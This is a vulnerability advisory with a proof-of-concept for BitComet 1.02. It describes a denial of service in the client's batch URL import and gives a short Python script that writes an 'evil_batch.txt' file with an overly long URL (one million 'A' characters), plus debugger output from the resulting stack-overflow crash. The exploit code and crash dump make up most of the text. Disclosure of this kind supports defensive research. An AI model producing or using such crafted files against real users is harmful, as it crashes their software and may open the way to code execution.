BitComet 1.02 - URI Handling Remote Denial of Service

source: https://www.securityfocus.com/bid/30255/info

BitComet is prone to a denial-of-service vulnerability.

An attacker can exploit this issue to crash the application. Given the nature of this vulnerability, the attacker may also be able to execute arbitrary code, but this has not been confirmed.

BitComet 1.02 is vulnerable; other versions may also be affected. 

#!/usr/bin/python
# BitComet 1.02 [HTTP/FTP Batch Download] url DOS
#This python script will generate an evil_batch.txt file that when
#loaded into bitcomet for batch downloading it will result in a crash.
#The vulnerability resides in failure to handle overly long urls.
#(File->HTTP/FTP Batch Download->Import URL from file->OK)
#Debug output:
#              ----------------------------------------------------------------
#              Exception C00000FD (STACK_OVERFLOW)
#              ----------------------------------------------------------------
#              EAX=00032000: 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00
#              EBX=06E90020: 41 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00
#              ECX=00000000: ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??
#              EDX=7C90EB94: C3 8D A4 24 00 00 00 00-8D 64 24 00 90 90 90 90
#              ESP=0012B354: 66 9A 80 7C 5C 85 57 00-5C F9 B1 00 00 F0 5F 01
#              EBP=0012B380: 04 B4 12 00 83 8B 57 00-20 00 E9 06 50 00 00 00
#              ESI=015FF000: 14 CB 99 00 E4 05 00 00-06 00 00 00 3F 00 00 00
#              EDI=001E8482: 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00
#              EIP=00707E07: 85 00 EB E9 55 8B EC 51-53 56 8B F0 33 DB 3B F3
#                            --> TEST [EAX],EAX
#              ----------------------------------------------------------------
#
#
#Found by: Shinnok raydenxy [at] yahoo dot com
batch = 'http://'
badstr = 'A' * 1000000
batch += badstr

f = open('evil_batch.txt','wb')
f.write(batch);
f.close